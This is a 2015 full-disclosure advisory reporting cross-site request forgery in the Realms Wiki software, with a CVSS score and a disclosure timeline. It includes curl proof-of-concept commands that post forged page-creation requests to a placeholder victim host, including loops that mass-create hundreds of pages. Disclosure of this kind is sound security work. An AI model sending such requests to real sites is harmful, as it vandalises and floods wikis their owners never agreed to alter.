CSRF in Realms Wiki Vulnerability Report Mar 19, 2015 Product: Realms Wiki Website: http://realms.io/ Github: https://github.com/scragg0x/realms-wiki CVSS Score: 7.8 (AV:N/AC:L/Au:N/C:N/I:C/A:N) Realms Wiki is vulnerable to Cross-Site Request Forgery on all posts. Especially of concern are New, Edit, and Revert. If Realms Wiki had significant authentication mechanisms such as site administration, user administration, and so forth, these too would be vulnerable to CSRF and the harm would be increased. A command-line example of the post to create a new page is as simple as: curl 'http://wiki.victim.example.com/test' --data 'name=test&message=passwords+and+stuff&content=%60%60%60%0A123456%0Apassword%0Alove%0Asex%0Asecret%0Agod%0A%60%60%60%0A' To create 600 pages: for i in $(seq 2 600); do curl -i 'http://wiki.victim.example.com/test'"$i" --data 'name=test'"$i"'&message=passwords+and+stuff&content=csrf+is+fun'"$i"; done To create a page for every word in the dictionary: while read word; do curl -i 'http://wiki.victim.example.com/'"$word" --data 'name='"$word"'&message=csrf&content=did+you+know+'"$word"; done
Disclosure Timeline: Found: Thu, Mar 19, 2015 Reported to author: Thu, Mar 19, 2015 Full Disclosure: Thu, Mar 25, 2015 The reason I have chosen to advance the timeline beyond what most people consider reasonable is because I reported a difficult to exploit remote code execution vulnerability to the author on Sun, 15 Mar 2015 and heard no response. Today makes 10 days since I reported the vulnerability and I have heard nothing back. Therefore I am using full-disclosure to warn users that their sites can be CSRFed. I am also posting the remote code execution vulnerability along with this (which is lower severity due to the difficulty in exploitation). Thanks to those who have written this wiki. It's well-written and will need some bug fixes. I plan on making many improvements to this wiki in the future. Regards, Javantea